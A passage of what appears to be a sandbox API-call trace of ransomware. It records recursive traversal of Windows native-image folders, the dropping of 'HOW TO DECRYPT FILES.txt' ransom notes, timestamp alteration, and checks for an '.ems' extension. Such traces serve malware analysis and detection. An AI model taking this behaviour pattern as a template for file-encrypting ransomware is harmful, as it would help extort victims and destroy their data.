lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#" [0108.004] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5398833, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe62eb5ef, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe62eb5ef, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0108.005] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.005] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5398833, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe62eb5ef, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe62eb5ef, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.005] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.005] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.005] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5398833, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe5398833, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe5398833, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="89815091ad8cb6d7b4c48d84ff1021e0", cAlternateFileName="898150~1")) returned 1 [0108.005] lstrcmpA (lpString1=".", lpString2="89815091ad8cb6d7b4c48d84ff1021e0") returned -1 [0108.005] lstrcmpA (lpString1="..", lpString2="89815091ad8cb6d7b4c48d84ff1021e0") returned -1 [0108.005] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\*.*") returned="*.*" [0108.005] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\", lpString2="89815091ad8cb6d7b4c48d84ff1021e0" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\89815091ad8cb6d7b4c48d84ff1021e0") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\89815091ad8cb6d7b4c48d84ff1021e0" [0108.005] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\89815091ad8cb6d7b4c48d84ff1021e0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5398833, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe5398833, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe5398833, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.006] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.006] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5398833, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe5398833, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe5398833, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.006] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.006] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.006] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53726d2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe53726d2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe53726d2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x22c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Build.Framework.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.006] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.006] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Framework.ni.dll") returned -1 [0108.006] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Framework.ni.dll") returned -1 [0108.006] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Framework.ni.dll") returned -1 [0108.006] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\89815091ad8cb6d7b4c48d84ff1021e0\\*.*") returned="*.*" [0108.006] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\89815091ad8cb6d7b4c48d84ff1021e0\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\89815091ad8cb6d7b4c48d84ff1021e0\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\89815091ad8cb6d7b4c48d84ff1021e0\\" [0108.006] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\89815091ad8cb6d7b4c48d84ff1021e0\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\89815091ad8cb6d7b4c48d84ff1021e0\\") returned="" [0108.006] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\89815091ad8cb6d7b4c48d84ff1021e0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\89815091ad8cb6d7b4c48d84ff1021e0\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\89815091ad8cb6d7b4c48d84ff1021e0\\HOW TO DECRYPT FILES.txt" [0108.007] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\89815091ad8cb6d7b4c48d84ff1021e0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.build.fra#\\89815091ad8cb6d7b4c48d84ff1021e0\\how to decrypt files.txt")) returned 0xffffffff [0108.007] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\89815091ad8cb6d7b4c48d84ff1021e0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.build.fra#\\89815091ad8cb6d7b4c48d84ff1021e0\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.009] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.009] CloseHandle (hObject=0x90) returned 1 [0108.009] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\89815091ad8cb6d7b4c48d84ff1021e0\\", lpString2="Microsoft.Build.Framework.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\89815091ad8cb6d7b4c48d84ff1021e0\\Microsoft.Build.Framework.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\89815091ad8cb6d7b4c48d84ff1021e0\\Microsoft.Build.Framework.ni.dll" [0108.009] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\89815091ad8cb6d7b4c48d84ff1021e0\\Microsoft.Build.Framework.ni.dll", pszSpec="*.ems") returned 0 [0108.010] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53726d2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe53726d2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe53726d2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x22c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Build.Framework.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.010] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.010] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe62eb5ef, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe62eb5ef, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe62eb5ef, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="a71fda14114136e528b310f41dce7915", cAlternateFileName="A71FDA~1")) returned 1 [0108.010] lstrcmpA (lpString1=".", lpString2="a71fda14114136e528b310f41dce7915") returned -1 [0108.010] lstrcmpA (lpString1="..", lpString2="a71fda14114136e528b310f41dce7915") returned -1 [0108.010] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\*.*") returned="*.*" [0108.010] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\", lpString2="a71fda14114136e528b310f41dce7915" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\a71fda14114136e528b310f41dce7915") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\a71fda14114136e528b310f41dce7915" [0108.010] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\a71fda14114136e528b310f41dce7915\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe62eb5ef, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe62eb5ef, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe62eb5ef, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.013] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.013] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe62eb5ef, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe62eb5ef, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe62eb5ef, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.013] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.013] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.013] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe629f32e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe629f32e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe629f32e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x1da00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Build.Framework.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.013] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.013] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Framework.ni.dll") returned -1 [0108.013] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Framework.ni.dll") returned -1 [0108.013] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Framework.ni.dll") returned -1 [0108.013] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\a71fda14114136e528b310f41dce7915\\*.*") returned="*.*" [0108.013] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\a71fda14114136e528b310f41dce7915\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\a71fda14114136e528b310f41dce7915\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\a71fda14114136e528b310f41dce7915\\" [0108.013] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\a71fda14114136e528b310f41dce7915\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\a71fda14114136e528b310f41dce7915\\") returned="" [0108.013] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\a71fda14114136e528b310f41dce7915\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\a71fda14114136e528b310f41dce7915\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\a71fda14114136e528b310f41dce7915\\HOW TO DECRYPT FILES.txt" [0108.013] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\a71fda14114136e528b310f41dce7915\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.build.fra#\\a71fda14114136e528b310f41dce7915\\how to decrypt files.txt")) returned 0xffffffff [0108.014] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\a71fda14114136e528b310f41dce7915\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.build.fra#\\a71fda14114136e528b310f41dce7915\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.016] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.016] CloseHandle (hObject=0x90) returned 1 [0108.016] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\a71fda14114136e528b310f41dce7915\\", lpString2="Microsoft.Build.Framework.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\a71fda14114136e528b310f41dce7915\\Microsoft.Build.Framework.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\a71fda14114136e528b310f41dce7915\\Microsoft.Build.Framework.ni.dll" [0108.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\a71fda14114136e528b310f41dce7915\\Microsoft.Build.Framework.ni.dll", pszSpec="*.ems") returned 0 [0108.017] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe629f32e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe629f32e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe629f32e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x1da00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Build.Framework.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.017] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.017] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe62eb5ef, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe62eb5ef, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe62eb5ef, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="a71fda14114136e528b310f41dce7915", cAlternateFileName="A71FDA~1")) returned 0 [0108.017] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0108.017] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe793c458, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe93b7949, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe93b7949, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.Build.Tas#", cAlternateFileName="MICROS~1.TAS")) returned 1 [0108.017] lstrcmpA (lpString1=".", lpString2="Microsoft.Build.Tas#") returned -1 [0108.017] lstrcmpA (lpString1="..", lpString2="Microsoft.Build.Tas#") returned -1 [0108.017] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0108.017] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.Build.Tas#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#" [0108.017] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe793c458, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe93b7949, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe93b7949, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0108.018] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.018] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe793c458, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe93b7949, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe93b7949, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.018] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.018] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.018] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe93b7949, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe93b7949, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe93b7949, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3cf3740de20740208d614d330aa4416c", cAlternateFileName="3CF374~1")) returned 1 [0108.018] lstrcmpA (lpString1=".", lpString2="3cf3740de20740208d614d330aa4416c") returned -1 [0108.018] lstrcmpA (lpString1="..", lpString2="3cf3740de20740208d614d330aa4416c") returned -1 [0108.018] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\*.*") returned="*.*" [0108.018] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\", lpString2="3cf3740de20740208d614d330aa4416c" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\3cf3740de20740208d614d330aa4416c") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\3cf3740de20740208d614d330aa4416c" [0108.018] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\3cf3740de20740208d614d330aa4416c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe93b7949, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe93b7949, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe93b7949, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.019] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.019] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe93b7949, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe93b7949, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe93b7949, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.019] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.019] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.019] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d3107, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe92d3107, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe931f3c8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x28f000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Build.Tasks.v3.5.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.019] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.019] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Tasks.v3.5.ni.dll") returned -1 [0108.019] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Tasks.v3.5.ni.dll") returned -1 [0108.019] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Tasks.v3.5.ni.dll") returned -1 [0108.019] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\3cf3740de20740208d614d330aa4416c\\*.*") returned="*.*" [0108.019] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\3cf3740de20740208d614d330aa4416c\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\3cf3740de20740208d614d330aa4416c\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\3cf3740de20740208d614d330aa4416c\\" [0108.020] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\3cf3740de20740208d614d330aa4416c\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\3cf3740de20740208d614d330aa4416c\\") returned="" [0108.020] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\3cf3740de20740208d614d330aa4416c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\3cf3740de20740208d614d330aa4416c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\3cf3740de20740208d614d330aa4416c\\HOW TO DECRYPT FILES.txt" [0108.020] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\3cf3740de20740208d614d330aa4416c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.build.tas#\\3cf3740de20740208d614d330aa4416c\\how to decrypt files.txt")) returned 0xffffffff [0108.020] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\3cf3740de20740208d614d330aa4416c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.build.tas#\\3cf3740de20740208d614d330aa4416c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.022] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.023] CloseHandle 